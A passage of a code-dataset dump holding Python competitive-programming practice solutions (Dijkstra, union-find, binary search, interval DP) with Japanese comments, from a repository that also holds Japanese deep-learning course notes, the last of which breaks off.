dp = [[INF] * (N+1) for _ in range(M+1)]\n# dp[0][0] = 0\n#\n# for m in range(M):\n# for n in range(N+1):\n# if n - C[m] >= 0:\n# dp[m+1][n] = min(dp[m][n], dp[m][n-C[m]] + 1)\n# else:\n# dp[m+1][n] = dp[m][n]\n#\n# print(dp[-1][-1])\n" }, { "alpha_fraction": 0.3522167503833771, "alphanum_fraction": 0.3571428656578064, "avg_line_length": 14.615385055541992, "blob_id": "acb4d45ce73fb9e552ff35f05cf8579df630ee78", "content_id": "eeff119dc8a83a0712744ec8449f9164b40d6477", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 406, "license_type": "no_license", "max_line_length": 35, "num_lines": 26, "path": "/examples/contests/205/C.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "A, B, C = map(int, input().split())\n\n# a_c = pow(A, C)\n# b_c = pow(B, C)\n#\n# if a_c > b_c:\n# print('>')\n# elif a_c < b_c:\n# print('<')\n# else:\n# print('=')\n\nif C % 2 == 0:\n if abs(A) == abs(B):\n print('=')\n elif abs(A) > abs(B):\n print('>')\n else:\n print('<')\nelse:\n if A == B:\n print('=')\n elif A > B:\n print('>')\n else:\n print('<')\n" }, { "alpha_fraction": 0.4637681245803833, "alphanum_fraction": 0.54347825050354, "avg_line_length": 16.125, "blob_id": "075fa508031b5741dcafee57579167c33b7f8e71", "content_id": "8315c201536ed985aa68c2e39e61b61ac3d1c266", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 164, "license_type": "no_license", "max_line_length": 54, "num_lines": 8, "path": "/algorithm/sort.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "w=[[4, 5], [1, 2] , [3, 6], [2, 6], [5, 7]]\nprint(w)\n\nw.sort()\nprint(w)\n\nw.sort(key=lambda x:x[1],reverse=True) #二個目の要素で降順並び替え\nprint(w)\n\n" }, { "alpha_fraction": 0.4807243049144745, "alphanum_fraction": 0.5186915993690491, "avg_line_length": 20.670886993408203, "blob_id": "e46f6727a48f140f4a184d2b867a72cfb426fa04", "content_id": "b2f2d5c75b68723147886fddb6ce31d8a9f163c0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1762, "license_type": "no_license", "max_line_length": 60, "num_lines": 79, "path": "/examples/intermediate/20_imos/082.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "from itertools import accumulate\n\ndef time_to_seconds(time):\n h, m, s = time.split(':')\n return int(h) * 3600 + int(m) * 60 + int(s)\n\nans = []\nwhile(1):\n N = int(input())\n if N==0:\n break\n A = [0] * 86400\n for n in range(N):\n begin, end = input().split()\n begin = time_to_seconds(begin)\n end = time_to_seconds(end)\n A[begin] += 1\n A[end] -= 1\n cumsum = accumulate(A)\n ans.append(max(cumsum))\n\nfor a in ans:\n print(a)\n\n# My answer\n# 2021/04/28\n# from itertools import accumulate\n#\n# def to_sec(time):\n# hour, minute, second = map(int, time.split(':'))\n# sec = hour * 60 * 60 + minute * 60 + second\n# return sec\n#\n# ans = []\n# while True:\n# n = int(input())\n# if n == 0: break\n#\n# times = []\n# for _ in range(n):\n# start, end = input().split()\n# start = to_sec(start)\n# end = to_sec(end)\n# times.append((start, end))\n#\n# imos = [0] * (60*60*24+1)\n# for start, end in times:\n# imos[start] += 1\n# imos[end] -= 1 # 到着直後に出発可能なので end+1 でない.境界条件に気をつける\n#\n# ans.append(max(accumulate(imos)))\n#\n# for a in ans:\n# print(a)\n\n# 2021/05/04\n# from itertools import accumulate\n#\n# def time_to_sec(time):\n# hours, mins, secs = map(int, time.split(':'))\n# return hours * 60 * 60 + mins * 60 + secs\n#\n# ans = []\n#\n# while True:\n# n = int(input())\n# if not n: break\n#\n# times = [list(input().split()) for _ in range(n)]\n#\n# imos = [0] * 60 * 60 * 24\n#\n# for start_at, end_at in times:\n# imos[time_to_sec(start_at)] += 1\n# imos[time_to_sec(end_at)] -= 1\n#\n# ans.append(max(list(accumulate(imos))))\n#\n# for a in ans: print(a)\n" }, { "alpha_fraction": 0.5854700803756714, "alphanum_fraction": 0.5854700803756714, "avg_line_length": 14.600000381469727, "blob_id": "c7d37dda67399bb51fd436305f1bd17a6846a77b", "content_id": "7e9238e77f6292e6bce6e68ba55a8cfcb0f0cab5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 234, "license_type": "no_license", "max_line_length": 43, "num_lines": 15, "path": "/examples/beginner/ABC085B.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "# from collections import Counter\n#\n# N = int(input())\n#\n# D = []\n# for i in range(N): D.append(int(input()))\n#\n# counter = Counter(D)\n#\n# print(len(counter))\n\nN = int(input())\nD = [int(input()) for i in range(N)]\n\nprint(len(set(D)))\n" }, { "alpha_fraction": 0.5278970003128052, "alphanum_fraction": 0.540772557258606, "avg_line_length": 14.533333778381348, "blob_id": "c44c5881cc1ead0325f3392e86531b9d7093aa1d", "content_id": "f2e193e0210d7b1d8a4d519561f84caa2cea64eb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 233, "license_type": "no_license", "max_line_length": 35, "num_lines": 15, "path": "/examples/contests/205/B.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "from collections import Counter\n\nN = int(input())\nA = list(map(int, input().split()))\n\ncol = Counter(A)\n\nfor i in range(1, N+1):\n if col[i] == 1:\n continue\n else:\n print('No')\n break\nelse:\n print('Yes')\n" }, { "alpha_fraction": 0.4722222089767456, "alphanum_fraction": 0.5092592835426331, "avg_line_length": 20.600000381469727, "blob_id": "08b4e6407b958cef44607f064ca269f3fbeeeb49", "content_id": "2f387502b91d6c01f19cb59a0cf0c952e08be9e5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 108, "license_type": "no_license", "max_line_length": 43, "num_lines": 5, "path": "/examples/contests/201/A.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "A = list(map(int, input().split()))\nA.sort()\n\nif A[1] - A[0] == A[2] - A[1]: print('Yes')\nelse: print('No')\n" }, { "alpha_fraction": 0.5024958252906799, "alphanum_fraction": 0.5349417924880981, "avg_line_length": 17.492307662963867, "blob_id": "74fa2e82c7d6ab5699fa2ab91833f64f7c8dedbf", "content_id": "4a831522d91e2d3ac1a3f6056f358f28f66458c6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1290, "license_type": "no_license", "max_line_length": 116, "num_lines": 65, "path": "/examples/intermediate/05_binary_search/023.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "import bisect\nN, M = map(int, input().split())\nP = [0]\nfor n in range(N):\n P.append(int(input()))\nP.sort()\nS = []\nfor p1 in P:\n for p2 in P:\n S.append(p1+p2)\nS.sort()\nans = 0\nfor s in S:\n if M < s:\n break\n i = bisect.bisect(S, M-s)-1\n ans = max(s+S[i], ans)\nprint (ans)\n\n# My answer\n# 2021/04/30\n# from bisect import bisect_left\n#\n# N, M = map(int, input().split())\n# P = [int(input()) for _ in range(N)]\n#\n# P = [0] + P + [10**18+1]\n# pair = []\n# for i in P:\n# for j in P:\n# pair.append(i+j)\n#\n# pair.sort()\n# ans = 0\n# for p in pair:\n# if p > M: continue\n# index = bisect_left(pair, M-p) # 左端が0で固定されているので、bisect_right のほうが扱いやすそう.終端が厄介な時は bisect_right にして -1 することを検討する\n# if index == N: continue\n# ans = max(ans, p+pair[index])\n#\n# print(ans)\n\n# 2021/05/06\n# from bisect import bisect_right\n#\n# N, M = map(int, input().split())\n# P = [int(input()) for _ in range(N)]\n#\n# P = [0] + P\n# sm = []\n# for p1 in P:\n# for p2 in P:\n# sm.append(p1+p2)\n#\n# sm.sort()\n# ans = 0\n#\n# for score in sm:\n# if score > M: continue\n#\n# left = M - score\n# index = bisect_right(sm, left)\n# ans = max(ans, score+sm[index-1])\n#\n# print(ans)\n" }, { "alpha_fraction": 0.340807169675827, "alphanum_fraction": 0.4708520174026489, "avg_line_length": 19.272727966308594, "blob_id": "aecb47154e4c6a52043ddf8f39f43a63c059c47c", "content_id": "02d4dc524edc41f1872514a5ca5cef007b3b7098", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 223, "license_type": "no_license", "max_line_length": 42, "num_lines": 11, "path": "/algorithm/mutipule_loops.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "n,y=1000, 1234000\nfor i in range(n+1):\n for j in range(n-i+1):\n if y-10000*i-5000*j==1000*(n-i-j):\n print(i, j, n-i-j)\n break\n else:\n continue\n break\nelse:\n print('-1 -1 -1')\n" }, { "alpha_fraction": 0.5083333253860474, "alphanum_fraction": 0.6666666865348816, "avg_line_length": 29, "blob_id": "ace20367a98a16f1fa745c41feaa55a2b5d6268b", "content_id": "dfaae741b1b6c73ceb99aa66fabd6f248d3846b1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 120, "license_type": "no_license", "max_line_length": 39, "num_lines": 4, "path": "/algorithm/collection.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "from collections import Counter\na=[2,2,2,3,4,3,1,2,1,3,1,2,1,2,2,1,2,1]\na=Counter(a)\nfor i in a.most_common(3):print(i)\n" }, { "alpha_fraction": 0.529411792755127, "alphanum_fraction": 0.5588235259056091, "avg_line_length": 8.714285850524902, "blob_id": "55d0670546af7b8a6770d25877eddb701718d1b2", "content_id": "4cdea5697872451b9d51a164817b67dab38f0238", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 68, "license_type": "no_license", "max_line_length": 22, "num_lines": 7, "path": "/examples/beginner/ABC081A.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "n=input()\n\nS=0\nfor s in n:S += int(s)\n\nprint(S)\nprint(n.count('1'))\n" }, { "alpha_fraction": 0.5033072829246521, "alphanum_fraction": 0.5186409950256348, "avg_line_length": 21.78082275390625, "blob_id": "d29db25a6cf4f50616a6ebf1cbf6f180eab99c52", "content_id": "573ffe38a83a01d172681298632d534d677635b1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3784, "license_type": "no_license", "max_line_length": 109, "num_lines": 146, "path": "/examples/intermediate/13_dijkstra_algorithm/056.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "import heapq\nINF = 10**10\n\nV, E, r = map(int,input().split())\nadj = [[] for i in range(V)] # 隣接リスト\n\nfor e in range(E):\n s, t, d = map(int,input().split())\n adj[s].append((t,d))\n\ndists = [INF for i in range(V)] # 重みの和\ndists[r] = 0\npq = [(0, r)] # 二分ヒープの実体はリストやタプルとして表現する\n  # (重みの和, ノード番号)\nwhile(pq):\n d, node = heapq.heappop(pq)\n if (d > dists[node]): # 探索の対象にする必要があるか確認\n continue\n for next, cost in adj[node]:\n if d + cost < dists[next]:# 探索の対象にする必要があるか確認\n dists[next] = d + cost # 次のノードにおける重みの和\n heapq.heappush(pq, (dists[next],next))\nfor d in dists:\n if d == INF:\n print ('INF')\n else:\n print (d)\n\n# My answer\n# 2021/04/26\n# 写経\n# import heapq # 順番に出すだけなら sort で良い場合がある. 出し入れするなら heapq を使ったほうが早い\n# INF = 10**10\n#\n# V, E, r = map(int, input().split())\n# adj = [[] for _ in range(V)]\n# for _ in range(E):\n# s, t, d = map(int, input().split())\n# adj[s].append((t,d))\n#\n# dists = [INF for _ in range(V)]\n# dists[r] = 0\n# pq = [(0, r)] # heapfiy の計算量がかからない \n#\n# while pq:\n# d, node = heapq.heappop(pq) # heappop の計算量はツリーの修正があるので O(logN)\n# if d > dists[node]: continue\n#\n# for next, cost in adj[node]:\n# if d + cost < dists[next]:\n# dists[next] = d + cost\n# heapq.heappush(pq, (dists[next], next)) # heappush の計算量は O(logN). sort は毎回 O(NlogN) かかるから N 倍早い\n#\n# for d in dists:\n# if d == INF: print('INF')\n# else: print(d)\n\n# 2021/05/02\n# import heapq\n#\n# V, E, r = map(int, input().split())\n# adj = [[] for _ in range(V)]\n# for _ in range(E):\n# s, t, d = map(int, input().split())\n# adj[s].append((d, t))\n#\n# hq = []\n# INF = float('inf')\n# visited = [INF]*V\n# visited[r] = 0\n# for d, t in adj[r]:\n# heapq.heappush(hq, (d, t))\n#\n# while hq:\n# d, t = heapq.heappop(hq)\n#\n# if visited[t] != INF: continue # 訪問済みではなくて、d > visited[t] ならスキップ\n#\n# visited[t] = d\n# for nd, nt in adj[t]:\n# # ここで次の頂点の重み付け先に行っておく\n# heapq.heappush(hq, (nd+d, nt))\n#\n# for ans in visited:\n# if ans == INF: print('INF')\n# else: print(ans)\n\n# 2021/05/06\n# import heapq\n#\n# V, E, r = map(int, input().split())\n# adj = [[] for _ in range(V)]\n# for _ in range(E):\n# s, t, d = map(int, input().split())\n# adj[s].append((t, d))\n#\n# dists = [-1] * V\n# pq = []\n# heapq.heappush(pq, (0, r))\n#\n# while pq:\n# d, v = heapq.heappop(pq)\n# if dists[v] != -1: continue # 判定ミス\n#\n# dists[v] = d\n#\n# for nv, nd in adj[v]:\n# if dists[nv] != -1: continue\n# heapq.heappush(pq, (d+nd, nv))\n#\n# for ans in dists:\n# if ans == -1: print('INF')\n# else: print(ans)\n\n# 2021/05/06\n# import heapq\n#\n# V, E, r = map(int, input().split())\n# # adj = [[]] * V # 参照コピーになるので注意.配列の初期化は注意が必要\n# adj = [[] for _ in range(V)]\n# for _ in range(E):\n# s, t, d = map(int, input().split())\n# adj[s].append((t, d))\n#\n# INF = float('inf')\n# hq = []\n# dists = [INF] * V\n#\n# dists[r] = 0\n# for t, d in adj[r]:\n# heapq.heappush(hq, (d, t))\n#\n# while hq:\n# d, node = heapq.heappop(hq)\n# if dists[node] < d: continue\n#\n# dists[node] = d\n# for nxt, nd in adj[node]:\n# cost = d + nd\n# if dists[nxt] < cost: continue\n#\n# heapq.heappush(hq, (cost, nxt))\n#\n# for d in dists:\n# if d == INF: print('INF')\n# else: print(d)\n" }, { "alpha_fraction": 0.5046728849411011, "alphanum_fraction": 0.5327102541923523, "avg_line_length": 16.83333396911621, "blob_id": "765e353918ba85d4372277f5a8ddb4612da1a0cd", "content_id": "b772e9d9687bc9be833e23a7bb7fb287c1cb3721", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 107, "license_type": "no_license", "max_line_length": 35, "num_lines": 6, "path": "/examples/intermediate/25_math/095.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "a, b, k = map(int, input().split())\n\na_ans = max(0, a-k)\nb_ans = max(0, b-max(0, k-a))\n\nprint(a_ans,b_ans)\n" }, { "alpha_fraction": 0.545976996421814, "alphanum_fraction": 0.5775862336158752, "avg_line_length": 20.75, "blob_id": "adc359e5bb29dd4612b041d7dfaebee989598e3f", "content_id": "f89432700a3c7f5fbef34a7f5d2ffdb3beaae378", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 348, "license_type": "no_license", "max_line_length": 66, "num_lines": 16, "path": "/examples/beginner/ABC086C.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "N = int(input())\ncordinates = [list(map(int, input().split())) for i in range(N)]\n\nprev = [0, 0, 0]\n\nfor current in cordinates:\n dt = current[0] - prev[0]\n distance = abs(current[1] - prev[1]) + abs(current[2] - prev[2])\n\n if dt >= distance and (dt - distance) % 2 == 0:\n prev = current\n else:\n print('No')\n break\nelse:\n print('Yes')\n" }, { "alpha_fraction": 0.49723756313323975, "alphanum_fraction": 0.5220994353294373, "avg_line_length": 16.238094329833984, "blob_id": "68b058b80f87076714dbf65fd7e52a16a22e8aa1", "content_id": "a29f7f2b9558ce845fd331a46628c35ad235f4dc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 362, "license_type": "no_license", "max_line_length": 37, "num_lines": 21, "path": "/examples/beginner/ABC088B.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "# N = int(input())\n# A = list(map(int, input().split()))\n#\n# alice = 0\n# bob = 0\n#\n# A.sort(reverse=True)\n#\n# for index, a in enumerate(A):\n# if index % 2 == 0: alice += a\n# else: bob += a\n#\n# print(alice - bob)\n\nN = int(input())\nA = list(map(int, input().split()))\n\nalice = sum(sorted(A)[::-1][::2])\nbob = sum(sorted(A)[::-1][1::2])\n\nprint(alice - bob)\n" }, { "alpha_fraction": 0.5469845533370972, "alphanum_fraction": 0.5497896075248718, "avg_line_length": 19.97058868408203, "blob_id": "dc9e6873775435239f0e3b042b65a46629acf368", "content_id": "83d0270b7fbe4a5f8139027b858cd2e3d83a021c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 713, "license_type": "no_license", "max_line_length": 49, "num_lines": 34, "path": "/examples/tests/autify/02.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "from collections import Counter\n\ndef featuredProduct(products):\n counter = Counter(products)\n count = 0\n ans = []\n\n for key, value in counter.items():\n if value > count:\n count = value\n ans = []\n ans.append(key)\n elif value == count:\n ans.append(key)\n\n return sorted(ans)[-1]\n\nif __name__ == '__main__':\n # fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n products_count = int(input().strip())\n\n products = []\n\n for _ in range(products_count):\n products_item = input()\n products.append(products_item)\n\n result = featuredProduct(products)\n print(result)\n\n # fptr.write(result + '\\n')\n #\n # fptr.close()\n" }, { "alpha_fraction": 0.4607667624950409, "alphanum_fraction": 0.4707989990711212, "avg_line_length": 26.097087860107422, "blob_id": "53763d6cf03aa6844c718f04a4714e86ae76901f", "content_id": "c55506a34c11d3842e74990018bedb2e549d779e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5820, "license_type": "no_license", "max_line_length": 63, "num_lines": 206, "path": "/examples/intermediate/21_union_find/086.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "class UnionFind:\n def __init__(self, n):\n self.nodes = n\n self.parents = [i for i in range(n)]\n self.sizes = [1] * n\n self.rank = [0] * n\n\n def find(self, i): # どの集合に属しているか(根ノードの番号)\n if self.parents[i] == i:\n return i\n else:\n self.parents[i] = self.find(self.parents[i]) # 経路圧縮\n return self.parents[i]\n\n def unite(self, i, j): # 二つの集合を併合\n pi = self.find(i)\n pj = self.find(j)\n if pi != pj:\n if self.rank[pi] < self.rank[pj]:\n self.sizes[pj] += self.sizes[pi]\n self.parents[pi] = pj\n else:\n self.sizes[pi] += self.sizes[pj]\n self.parents[pj] = pi\n if self.rank[pi] == self.rank[pj]:\n self.rank[pi] += 1\n def same(self, i, j): # 同じ集合に属するかを判定\n return self.find(i)==self.find(j)\n\n def get_parents(self): # 根ノードの一覧を取得\n for n in range(self.nodes): # findで経路圧縮する\n self.find(n)\n return self.parents\n\nadj = []\nN, M = map(int,input().split())\nfor m in range(M):\n a,b = map(int,input().split())\n adj.append([a-1,b-1])\n\nans = 0\nfor i in range(M): # 取り除く辺番号\n uf = UnionFind(N)\n for j in range(M):\n if (i==j): # 辺を追加しない(取り除く)\n continue\n uf.unite(*adj[j])\n\n if len(set(uf.get_parents()))!=1: # 複数の集合にわかれているか確認\n ans += 1\nprint (ans)\n\n# My answer\n# 2021/05/04\n# class UnionFind:\n# def __init__(self, n):\n# self.nodes = n\n# self.parents = [i for i in range(n)]\n# self.sizes = [1] * n\n# self.rank = [0] * n\n#\n# def find(self, i):\n# if self.parents[i] == i:\n# return i\n# else:\n# self.parents[i] = self.find(self.parents[i])\n# return self.parents[i]\n#\n# def unite(self, i, j):\n# pi = self.find(i)\n# pj = self.find(j)\n# if pi != pj: # この判定を忘れない\n# if self.rank[pi] > self.rank[pj]:\n# self.sizes[pi] += self.sizes[pj]\n# self.parents[pj] = pi\n# else:\n# self.sizes[pj] += self.sizes[pi]\n# self.parents[pi] = pj\n# if self.rank[pi] == self.rank[pj]:\n# self.rank[pj] += 1\n#\n# def same(self, i, j):\n# return self.find(i) == self.find(j)\n#\n# def get_parents(self):\n# for n in range(self.nodes): # 全てのノードの経路圧縮を行う\n# self.find(n)\n# return self.parents\n#\n# N, M = map(int, input().split())\n# edges = [tuple(map(int, input().split())) for _ in range(M)]\n# ans = 0\n#\n# for removed_edge in edges:\n# uf = UnionFind(N)\n#\n# for edge in edges:\n# if edge == removed_edge: continue\n# a, b = edge\n# uf.unite(a-1, b-1)\n#\n# if len(set(uf.get_parents())) > 1: ans += 1\n#\n# print(ans)\n\n# 2021/05/06\n# class UnionFind:\n# def __init__(self, n):\n# self.node = n\n# self.parents = [i for i in range(n)]\n# self.sizes = [1] * n\n# self.rank = [0] * n\n#\n# def find(self, i):\n# if self.parents[i] == i:\n# return i\n# else:\n# self.parents[i] = self.find(self.parents[i])\n# return self.parents[i]\n#\n# def unite(self, i, j):\n# pi = self.find(i)\n# pj = self.find(j)\n# if pi == pj: return\n#\n# if self.rank[pi] < self.rank[pj]:\n# self.parents[pi] = pj\n# self.sizes[pj] += self.sizes[pi]\n# else:\n# self.parents[pj] = pi\n# self.sizes[pi] += self.sizes[pj]\n# if self.rank[pi] == self.rank[pj]:\n# self.rank[pi] += 1\n#\n# def same(self, i, j):\n# return self.find(i) == self.find(j)\n#\n# def get_parents(self):\n# for i in range(self.node):\n# self.find(i)\n# return self.parents\n#\n# N, M = map(int, input().split())\n# edges = [tuple(map(int, input().split())) for _ in range(M)]\n# ans = 0\n#\n# for removed_edge in edges:\n# uf = UnionFind(N)\n# for edge in edges:\n# if removed_edge == edge: continue\n# a, b = edge\n# uf.unite(a-1, b-1)\n# if len(set(uf.get_parents())) > 1: ans += 1\n#\n# print(ans)\n\n# 2021/05/19\n# N, M = map(int, input().split())\n# edges = [tuple(map(int, input().split())) for _ in range(M)]\n#\n# class UnionFind:\n# def __init__(self, n):\n# self.nodes = n\n# self.parents = [i for i in range(n)]\n# self.rank = [0]*n\n# self.sizes = [1]*n\n#\n# def find(self, i):\n# if self.parents[i] == i:\n# return i\n# else:\n# self.parents[i] = self.find(self.parents[i])\n# return self.parents[i]\n#\n# def unite(self, i, j):\n# pi = self.find(i)\n# pj = self.find(j)\n#\n# if self.rank[pj] > self.rank[pi]:\n# self.parents[pi] = pj\n# self.sizes[pj] += self.sizes[pi]\n# else:\n# self.parents[pj] = pi\n# self.sizes[pi] += self.sizes[pj]\n# if self.rank[pj] == self.rank[pi]:\n# self.rank[pi] += 1\n#\n# def same(self, i, j):\n# return self.find(i) == self.find(j)\n#\n# def get_parents(self):\n# for i in range(self.nodes):\n# self.find(i)\n# return self.parents\n# ans = 0\n#\n# for removed_edge in edges:\n# uf = UnionFind(N)\n# for edge in edges:\n# if edge == removed_edge: continue\n#\n# s, t = edge\n# uf.unite(s-1, t-1)\n# if len(set(uf.get_parents())) > 1: ans += 1\n#\n# print(ans)\n" }, { "alpha_fraction": 0.31046929955482483, "alphanum_fraction": 0.40072202682495117, "avg_line_length": 20.30769157409668, "blob_id": "16c4b897358c2bc9eaabe91e4e181800077412e1", "content_id": "6f50bbd30f0aef4b18baee93349b8271882a87c9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 277, "license_type": "no_license", "max_line_length": 60, "num_lines": 13, "path": "/algorithm/depth_first.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "q=[{1, 3}, {1, 4}, {9, 5}, {5, 2}, {6, 5},{3,5},{8,9},{7,9}]\ncount=0\nwhile count!=10000:\n a=q.pop()\n for j in q:\n if len(j&a) != 0:\n j |=a\n count=0\n break\n else:q=[a]+q\n if count>len(q): break\n count+=1\n print(count,q)\n" }, { "alpha_fraction": 0.3709677457809448, "alphanum_fraction": 0.44354838132858276, "avg_line_length": 19.66666603088379, "blob_id": "8a1d1a91a8746e023495599cb31997db6c928df2", "content_id": "89ac02513fe6b72d6486264262555eb5e3edb30e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 248, "license_type": "no_license", "max_line_length": 51, "num_lines": 12, "path": "/examples/beginner/ABC085C.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "N, Y = map(int, input().split())\n\nfor i in range(N+1):\n for j in range(N-i+1):\n if 10_000*i + 5_000*j + 1_000*(N-i-j) == Y:\n print(i, j, N-i-j)\n break\n else:\n continue\n break\nelse:\n print('-1 -1 -1')\n" }, { "alpha_fraction": 0.2885662317276001, "alphanum_fraction": 0.36297640204429626, "avg_line_length": 22.95652198791504, "blob_id": "0911a0e5877e36b23d99706d578488ba30144103", "content_id": "08d2f08bade513255cef3a33d2f39df4004d5757", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 551, "license_type": "no_license", "max_line_length": 86, "num_lines": 23, "path": "/algorithm/shortest_path.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "ys,xs=2,2\nyg,xg=4,5\n\na=['########', '#......#', '#.######', '#..#...#', '#..##..#', '##.....#', '########']\nn=[(ys-1,xs-1)]\nroute={n[0]:0}\np=[[1,0],[0,1],[-1,0],[0,-1]]\ncount=1\n\nwhile route.get((yg-1,xg-1),0)==0 and count != 10000:\n n2=[]\n for i in n:\n for j in p:\n np=(i[0]+j[0],i[1]+j[1])\n # print(np, route.get(np,-1), a[np[0]][np[1]])\n if a[np[0]][np[1]]=='.' and route.get(np,-1)==-1:\n n2.append(np)\n route[np]=count\n n=n2\n count+=1\n # print(n)\n\nprint(n,route)\n" }, { "alpha_fraction": 0.34240245819091797, "alphanum_fraction": 0.37936344742774963, "avg_line_length": 26.828571319580078, "blob_id": "7748393f1bb7cc7e8cb8e36cf48331a25a53c934", "content_id": "4b7a1790eec650a72a178fbb14989be6fa7516d5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2054, "license_type": "no_license", "max_line_length": 89, "num_lines": 70, "path": "/examples/intermediate/10_range_dp/048.py", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "ans = []\nwhile(1):\n N = int(input())\n if N==0:\n break\n W = list(map(int,input().split()))\n dp = [[0]*N for _ in range(N)]\n for d in range(1,N):\n for i in range(N-d):\n j = i+d\n if d%2==1:\n if dp[i+1][j-1]==d-1:\n if abs(W[i] - W[j])<=1:\n dp[i][j] = d+1\n else:\n dp[i][j] = d-1\n for k in range(i+1,j):\n new = dp[i][k]+dp[k+1][j]\n if new > dp[i][j]:\n dp[i][j] = new\n else:\n dp[i][j] = max(dp[i+1][j], dp[i][j-1])\n ans.append(dp[0][-1])\nfor a in ans:\n print(a)\n\n# My answer\n# 2021/05/11\n# http://kutimoti.hatenablog.com/entry/2018/03/10/220819\n# ans = []\n# while(1):\n# N = int(input())\n# if N==0: break\n#\n# W = list(map(int,input().split()))\n# dp = [[0]*N for _ in range(N)]\n# for d in range(1,N):\n# for i in range(N-d):\n# j = i+d\n# if dp[i+1][j-1]==d-1 and abs(W[i] - W[j])<=1: dp[i][j] = d+1\n# else:\n# for k in range(i+1,j):\n# dp[i][j] = max(dp[i][j], dp[i][k]+dp[k+1][j])\n#\n# ans.append(dp[0][-1])\n# for a in ans:\n# print(a)\n\n# 2021/05/11\n# ans = []\n#\n# while True:\n# n = int(input())\n# if not n: break\n#\n# W = list(map(int, input().split()))\n# dp = [[0]*n for _ in range(n)]\n#\n# for d in range(1, n): # 区間を徐々に広げるようにメモ化を行うので区間 DP\n# for i in range(n-d):\n# j = i+d\n# if abs(W[i]-W[j]) <= 1 and dp[i+1][j-1] == d-1:\n# dp[i][j] = d+1\n# else:\n# for k in range(i, j):\n# # dp[i][j] = max(dp[i][k], dp[k+1][j])\n# dp[i][j] = max(dp[i][j], dp[i][k] + dp[k+1][j]) # 一つで扱えないので分割して足し込む\n# ans.append(dp[0][-1]) # 区間 DP では右上の値が答えになる\n#\n# for a in ans: print(a)\n" }, { "alpha_fraction": 0.8841384649276733, "alphanum_fraction": 0.8995002508163452, "avg_line_length": 83.421875, "blob_id": "0a575f2038c13509ae3684613ed58f475c53b682", "content_id": "be83a4b84080ee8eddc9ac3159c1889c412df549", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 13982, "license_type": "no_license", "max_line_length": 389, "num_lines": 64, "path": "/nyu/week01/01.md", "repo_name": "atsss/nyu_deep_learning", "src_encoding": "UTF-8", "text": "# ディープラーニングへのモチベーションとその歴史とインスピレーション\n> https://atcold.github.io/pytorch-Deep-Learning/ja/week01/01-1/\n\n## コースの予定\n教師あり学習、ニューラルネット、ディープラーニングの基礎\n誤差逆伝播法とアーキテクチャの要素\n畳み込みニューラルネットワークとその応用\n更に多くのディープラーニングのアーキテクチャについて\n正規化と最適化で知っておくと役立つポイントとディープラーニングがどのようにタスクを行うかについての理解\nエネルギーベースモデル\n自己教師あり学習とそれ以上のこと\n\n## 